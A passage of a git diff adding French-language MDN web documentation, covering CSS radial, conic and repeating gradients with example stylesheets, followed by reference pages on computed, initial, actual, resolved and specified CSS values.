+<p>{{EmbedLiveSample("Empilement_de_dégradés")}}</p>
+
+<h2 id="Dégradés_radiaux">Dégradés radiaux</h2>
+
+<p>Les dégradés radiaux sont similaire aux dégradés linéaires mais permettent d'obtenir un effet qui rayonne à partir d'un point. Il est possible de créer des dégradés circulaires ou elliptiques.</p>
+
+<h3 id="Un_dégradé_radial_simple">Un dégradé radial simple</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Dans les exemples suivants, nous continuons d'utiliser le même {{HTMLElement("div")}} et, pour ne pas surcharger la lecture, n'afficherons plus que la règle CSS spécifique au dégradé.</p>
+</div>
+
+<p>De la même façon qu'avec les dégradés linéaires, il suffit de deux couleurs pour créer un dégradé radial.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="simple-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.simple-radial {
+  background: radial-gradient(red, blue);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Un_dégradé_radial_simple', 120, 120)}}</p>
+
+<h3 id="Positionner_les_points_d’arrêt">Positionner les points d’arrêt</h3>
+
+<p>À nouveau, comme pour les dégradés linéaires, il est possible de placer des arrêts de couleur en précisant un pourcentage ou une distance.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Positionner_les_points_d’arrêt", 120, 120)}}</p>
+
+<h3 id="Positionner_le_centre_du_dégradé">Positionner le centre du dégradé</h3>
+
+<p>La position du centre du dégradé peut être définie avec des mots-clés, des pourcetages ou des longueurs. Deux valeurs permettent de placer le centre sur les deux axes. Si une seule valeur est fournie, elle sera utilisée pour les deux axes.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 240px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}</p>
+
+<h3 id="Dimensionner_les_dégradés_radiaux">Dimensionner les dégradés radiaux</h3>
+
+<p>À la différence des dégradés linéaires, il est possible de définir la taille d'un dégradé radial.</p>
+
+<h4 id="Utiliser_closest-side_pour_les_ellipses">Utiliser <code>closest-side</code> pour les ellipses</h4>
+
+<p>Dans l'exemple qui suit, on utilise la valeur <code>closest-side</code> pour la taille. Cela signifie que la taille du dégradé sera définie par la distance entre le point central de départ et le côté le plus proche de la boîte englobante.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-ellipse-side"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}</p>
+
+<h4 id="Utiliser_farthest-corner_pour_les_ellipses">Utiliser <code>farthest-corner</code> pour les ellipses</h4>
+
+<p>Cet exemple ressemble fortement au précédent mais on utilise ici <code>farthest-corner</code> qui crée un dégradé dont la distance est celle entre le point de départ central et le côté le plus éloigné de la boîte englobante.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-ellipse-far"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_farthest-corner_pour_les_ellipses', 240, 100)}}</p>
+
+<h4 id="Utiliser_closest-side_pour_les_cercles">Utiliser <code>closest-side</code> pour les cercles</h4>
+
+<p>Pour cet exemple, on utilise <code>closest-side</code> qui permet de créer un cercle dont le rayon est la distance entre le point de départ central et le côté le plus proche de la boîte englobante. Ici, le rayon du cercle est donc la moitié de la hauteur de la boîte car les bords haut et bas sont équidistants du point de départ et plus proches que les côtés gauche et droit.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-circle-close"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-circle-close {
+  background: radial-gradient(circle closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_closest-side_pour_les_cercles', 240, 120)}}</p>
+
+<h3 id="Empiler_des_dégradés_radiaux">Empiler des dégradés radiaux</h3>
+
+<p>À l'instar des dégradés linéaires, on peut empiler des dégradés radiaux. Le premier dégradé indiqué sera celui sur la couche la plus haute et le dernier sera celui sur la couche la plus basse.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="stacked-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Empiler_des_dégradés_radiaux', 200, 200)}}</p>
+
+<h2 id="Dégradés_coniques">Dégradés coniques</h2>
+
+<p>La fonction <strong><code>conic-gradient()</code></strong> permet de créer une image composée d'un dégradé de couleurs tournant autour d'un point (plutôt qu'une progression radiale). On pourra ainsi utiliser des dégradés coniques pour créer des camemberts ou des éventails de couleurs.</p>
+
+<p>La syntaxe de <code>conic-gradient()</code> est semblable à celle de <code>radial-gradient()</code> mais les arrêts de couleur seront placés le long d'un arc plutôt que le long de la ligne émise depuis le centre. Les arrêts de couleur seront exprimés en pourcentages ou en degrés, ils ne pourront pas être exprimés sous forme de longueurs absolues.</p>
+
+<p>Pour un dégradé radial, la transition entre les couleurs forme une ellipse qui progresse vers l'extérieur dans toutes les directions. Un dégradé conique verra la transition progresser le long de l'arc autour du cercle, dans le sens horaire. À l'instar des dégradés radiaux, il est possible de positionner le centre du dégradé et à l'instar des dégradés linéaires, on peut modifier l'angle du dégradé.</p>
+
+<div>
+<h3 id="Un_dégradé_conique_simple">Un dégradé conique simple</h3>
+
+<p>Comme pour les dégradés linéaires et radiaux, il suffit de deux couleurs pour créer un dégradé conique. Par défaut, le centre du dégradé sera situé au centre (point 50% 50%) et le début du dégradé commencera vers le haut :</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="simple-conic"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.simple-conic {
+  background: conic-gradient(red, blue);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Un_dégradé_conique_simple', 120, 120)}}</p>
+</div>
+
+<div>
+<h3 id="Positionner_le_centre">Positionner le centre</h3>
+
+<p>À l'instar des dégradés radiaux, on peut placer le centre d'un dégradé conique à l'aide de mots-clés, de valeurs (longueurs ou pourcentages) avec le mot-clé <code>at</code>.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Positionner_le_centre', 120, 120)}}</p>
+</div>
+
+<div>
+<h3 id="Modifier_l’angle">Modifier l’angle</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Modifier_l’angle", 120, 120)}}</p>
+</div>
+
+<h2 id="Répéter_des_dégradés">Répéter des dégradés</h2>
+
+<p>Les propriétés {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}} et {{cssxref("conic-gradient")}} ne permettent pas automatiquement de répéter les arrêts de couleur. Toutefois, les fonctions {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}} offrent cette fonctionnalité.</p>
+
+<p>La taille de la portion (ligne ou arc) répétée est donnée par la longueur (ou l'arc) entre le premier arrêt de couleur et le dernier arrêt de couleur. Si on n'indique pas de coordonnées pour le premier et le dernier arrêts, ceux-ci prendront respectivement 0 et 100%. Aussi, le motif unitaire couvrira l'ensemble du dégradé et il n'y aura pas de répétition. Il faut donc indiquer au moins un des deux arrêts (entre le premier et le dernier) pour créer une répétition.</p>
+
+<h3 id="Répéter_un_dégradé_linéaire">Répéter un dégradé linéaire</h3>
+
+<p>Dans cet exemple, on utilise la fonction {{cssxref("repeating-linear-gradient")}} afin de créer un dégradé linéaire qui se répète le long d'une ligne. Les couleurs forment un cycle lorsque le motif se répète.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Répéter_un_dégradé_linéaire', 120, 120)}}</p>
+
+<h3 id="Répéter_plusieurs_dégradés_linéaires">Répéter plusieurs dégradés linéaires</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multi-repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 600px;
+  height: 400px;
+}</pre>
+</div>
+
+<pre class="brush: css">.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Répéter_plusieurs_dégradés_linéaires', 600, 400)}}</p>
+
+<h3 id="Créer_un_tartan">Créer un tartan</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="plaid-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Créer_un_tartan', 200, 200)}}</p>
+
+<h3 id="Répéter_des_dégradés_radiaux">Répéter des dégradés radiaux</h3>
+
+<p>Ici, on utilise la fonction {{cssxref("repeating-radial-gradient")}} afin de créer un dégradé radial qui se répète. Les couleurs utilisées forment un cycle lorsque le motif unitaire recommence.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="repeating-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Répéter_des_dégradés_radiaux', 120, 120)}}</p>
+
+<h3 id="Répéter_plusieurs_dégradés_radiaux">Répéter plusieurs dégradés radiaux</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multi-target"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 250px;
+  height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css">.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Répéter_plusieurs_dégradés_radiaux', 250, 150)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les fonctions de manipulation des dégradés
+  <ul>
+   <li>{{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li>
+  </ul>
+ </li>
+ <li>Les types de donnée CSS relatifs aux dégradés
+  <ul>
+   <li>{{cssxref("&lt;gradient&gt;")}}, {{cssxref("&lt;image&gt;")}}</li>
+  </ul>
+ </li>
+ <li>Certaines propriétés CSS qui permettent d'utiliser des dégradés
+  <ul>
+   <li>{{cssxref("background")}}, {{cssxref("background-image")}}</li>
+  </ul>
+ </li>
+ <li><a class="external" href="https://lea.verou.me/css3patterns/">Une bibliothèque de motifs de dégradés CSS, créée par Lea Verou</a></li>
+ <li><a href="https://cssgenerator.org/gradient-css-generator.html">Un générateur de dégradé CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/valeur_calculée/index.html b/files/fr/web/css/valeur_calculée/index.html
new file mode 100644
index 0000000000..356a3f75ba
--- /dev/null
+++ b/files/fr/web/css/valeur_calculée/index.html
@@ -0,0 +1,67 @@
+---
+title: Valeur calculée
+slug: Web/CSS/Valeur_calculée
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/computed_value
+---
+<div>{{CSSRef}}</div>
+
+<p>La <strong>valeur calculée</strong> d'une propriété CSS est calculée à partir de <a href="/fr/docs/Web/CSS/Valeur_spécifiée">la valeur définie</a> :</p>
+
+<ol>
+ <li>En gérant les valeurs spéciales {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}} et {{cssxref("revert")}}.</li>
+ <li>En effectuant les calculs décrits dans la section « Valeur calculée » de chaque résumé de propriété.</li>
+</ol>
+
+<p>Les calculs utilisés pour obtenir la <strong>valeur calculée</strong> correspondent généralement à la conversion des valeurs relatives (exprimées dans des unités relatives comme <code>em</code> ou en pourcentages) en valeur absolue. Ainsi, si un élément possède les valeurs spécifiées suivantes <code>font-size: 16px</code> et <code>padding-top: 2em</code>. La valeur calculée de la propriété <code>padding-top</code> sera <code>32px</code> (on double la taille de la police).</p>
+
+<p>Cependant, pour certaines propriétés (celles où les pourcentages sont relatifs à quelque chose lié à la disposition comme <code>width</code>, <code>margin-right</code>, <code>text-indent</code>, et <code>top</code>), les valeurs spécifiées exprimées en pourcentages deviennent des valeurs calculées exprimées en pourcentages. De plus, les nombres sans unité utilisés pour la propriété <code>line-height</code> sont également utilisés comme valeurs calculées. Ces valeurs relatives sont résolues en valeurs absolues lorsqu'on détermine <a href="/fr/docs/Web/CSS/Valeur_utilisée">les valeurs utilisées</a>.</p>
+
+<p>Le principal intérêt de la valeur calculée (en dehors de la gestion du passage de <a href="/fr/docs/Web/CSS/Valeur_spécifiée">la valeur spécifiée</a> à <a href="/fr/docs/Web/CSS/Valeur_utilisée">la valeur utilisée</a>) est <a href="/fr/docs/Web/CSS/Héritage">l'héritage</a>, notamment grâce au mot-clé {{cssxref("inherit")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La méthode du DOM {{domxref("Window.getComputedStyle", "getComputedStyle()")}} renvoie <a href="/fr/docs/Web/CSS/valeur_r%C3%A9solue">la valeur résolue</a> qui correspond à la valeur calculée ou à <a href="/fr/docs/Web/CSS/Valeur_utilis%C3%A9e">la valeur utilisée</a> selon la propriété.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}</td>
+   <td>{{Spec2("CSS2.2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La notion de valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_spécifiée">La notion de valeur définie</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">La notion de valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_utilisée">La notion de valeur utilisée</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_r%C3%A9solue">La notion de valeur résolue</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_reelle">La notion de valeur réelle</a></li>
+ <li>{{cssxref("inherit")}}</li>
+ <li>{{cssxref("initial")}}</li>
+ <li>{{cssxref("unset")}}</li>
+ <li>{{cssxref("revert")}}</li>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+</ul>
diff --git a/files/fr/web/css/valeur_initiale/index.html b/files/fr/web/css/valeur_initiale/index.html
new file mode 100644
index 0000000000..eedda54344
--- /dev/null
+++ b/files/fr/web/css/valeur_initiale/index.html
@@ -0,0 +1,53 @@
+---
+title: Valeur initiale
+slug: Web/CSS/Valeur_initiale
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/initial_value
+---
+<div>{{CSSRef}}</div>
+
+<p>La <strong>valeur initiale</strong> d'une <a href="/fr/docs/Web/CSS/Reference">propriété CSS</a> est définie par la spécification et varie selon <a href="/fr/docs/Web/CSS/Héritage" title="en/CSS/inheritance">qu'une propriété est héritée ou non</a>.</p>
+
+<ul>
+ <li>Pour <a href="/fr/docs/Web/CSS/Héritage#Propriétés_héritées" title="en/CSS/inheritance#Inherited_properties">les propriétés héritées</a>, la valeur initiale est uniquement utilisée pour l'élément racine lorsqu'il n'y a pas <a href="/fr/docs/Web/CSS/Valeur_spécifiée">de valeur définie</a> pour cet élément.</li>
+ <li>Pour <a href="/fr/docs/Web/CSS/Héritage#Propriétés_non_héritées">les propriétés non-héritées</a>, la valeur initiale est utilisée pour n'importe quel élément lorsque <a href="/fr/docs/Web/CSS/Valeur_spécifiée">la valeur n'est pas définie</a> pour cet élément.</li>
+</ul>
+
+<p>Le mot-clé {{cssxref("initial")}} a été ajouté en CSS3 afin de permettre aux auteurs d'utiliser cette valeur de façon explicite.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://drafts.csswg.org/css-cascade-4/#initial-values">CSS Cascade 4</a></td>
+   <td> </td>
+   <td>Définition formelle.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition implicite.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_spécifiée">La notion de valeur définie</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">La notion de valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_utilisée">La notion de valeur utilisée</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_reelle">La notion de valeur réelle</a></li>
+ <li>{{cssxref("initial")}}</li>
+</ul>
diff --git a/files/fr/web/css/valeur_reelle/index.html b/files/fr/web/css/valeur_reelle/index.html
new file mode 100644
index 0000000000..4a4d768379
--- /dev/null
+++ b/files/fr/web/css/valeur_reelle/index.html
@@ -0,0 +1,52 @@
+---
+title: Valeur réelle
+slug: Web/CSS/valeur_reelle
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/actual_value
+---
+<div>{{CSSRef}}</div>
+
+<p>La <strong>valeur réelle</strong> d'une propriété CSS est la valeur utilisée par le moteur une fois que toutes les approximations ont été appliquées. Ainsi, un agent utillisateur ne pourra afficher des bordures qu'avec un nombre de pixels entier et pourra ainsi être forcé d'approximer <a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">la valeur calculée</a> pour l'épaisseur de la bordure.</p>
+
+<h2 id="Calculer_la_valeur_réelle_d'une_propriété">Calculer la valeur réelle d'une propriété</h2>
+
+<p>La valeur réelle est la valeur finale obtenue lors de la détermination d'une propriété, qui passe par les étapes suivantes :</p>
+
+<ol>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La valeur initiale</a> (indiquée par la spécification).</li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_sp%C3%A9cifi%C3%A9e">La valeur définie</a> qui résulte de <a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage">l'héritage et de la cascade</a>.</li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">La valeur calculée</a> est calculée selon la spécification.</li>
+ <li>La disposition est calculée, fournissant ainsi <a href="/fr/docs/Web/CSS/Valeur_utilis%C3%A9e">la valeur utilisée</a>.</li>
+ <li><em>La valeur réelle</em></li>
+</ol>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_sp%C3%A9cifi%C3%A9e">La valeur définie</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">La valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/valeur_résolue/index.html b/files/fr/web/css/valeur_résolue/index.html
new file mode 100644
index 0000000000..8ce7a5b45a
--- /dev/null
+++ b/files/fr/web/css/valeur_résolue/index.html
@@ -0,0 +1,40 @@
+---
+title: Valeur résolue
+slug: Web/CSS/valeur_résolue
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/resolved_value
+---
+<div>{{cssref}}</div>
+
+<p>La <strong>valeur résolue</strong> d'une propriété CSS est la valeur renvoyée par {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Pour la plupart des propriétés, il s'agit de <a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">la valeur calculée</a> mais pour un tout petit nombre d'anciennes propriétés (dont {{cssxref("width")}} et {{cssxref("height")}}), il s'agit par contre de <a href="/fr/docs/Web/CSS/Valeur_utilisée">la valeur utilisée</a>. Voir le lien vers la spécification ci-dessous pour des détails plus précis en fonction de chaque propriété.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM", "#resolved-values", "resolved value")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_sp%C3%A9cifi%C3%A9e">La valeur définie</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">La valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/valeur_spécifiée/index.html b/files/fr/web/css/valeur_spécifiée/index.html
new file mode 100644
index 0000000000..14eb3d9e5a
--- /dev/null
+++ b/files/fr/web/css/valeur_spécifiée/index.html
@@ -0,0 +1,85 @@
+---
+title: Valeur spécifiée
+slug: Web/CSS/Valeur_spécifiée
+tags:
+  - CSS
+  - Cascade
+  - Reference
+translation_of: Web/CSS/specified_value
+---
+<div>{{CSSRef}}</div>
+
+<p>La <strong>valeur définie</strong> d'une propriété CSS est celle explicitement définie dans la feuille de style ou grâce au style de son élément parent. Elle est déterminée selon une des trois méthodes suivantes :</p>
+
+<ol>
+ <li>Si la feuille de style du document a une valeur définie pour la propriété, alors c'est cette valeur qui est utilisée. Par exemple, si la propriété {{cssxref("color")}} est définie à <code>green</code> alors la couleur du texte des éléments correspondants sera verte.</li>
+ <li>Si la feuille de style du document n'a pas de valeur définie, alors, si c'est possible, elle sera héritée de l'élément parent. Par exemple, si on a un paragraphe ({{HTMLElement("p")}}) dans un {{HTMLElement("div")}} et que le {{HTMLElement("div")}} est ciblée par une déclaration CSS où <code>font</code> vaut <code>Arial</code> et qu'il n'y a pas de règle <code>font</code> pour {{HTMLElement("p")}}, ce dernier héritera de la police Arial.</li>
+ <li>Si aucun des cas précédents ne s'applique, c'est la valeur initiale de la propriété CSS qui est appliquée.</li>
+</ol>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Ma couleur provient explicitement de la feuille de style CSS.&lt;/p&gt;
+
+&lt;div&gt;Les valeurs définies de mes propriétés utilisent
+    les valeurs initiales (par défaut) car aucune n'est fournie
+    dans la feuille de style CSS.&lt;/div&gt;
+
+&lt;div class="fun"&gt;
+  &lt;p&gt;La valeur définie pour ma police n'est pas fournie explicitement
+     dans la feuille de style et est donc héritée de mon parent.
+     Toutefois, la bordure n'est pas une propriété héritée.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fun {
+  border: 1px dotted pink;
+  font-family: fantasy;
+}
+
+p {
+  color: green;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 500, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
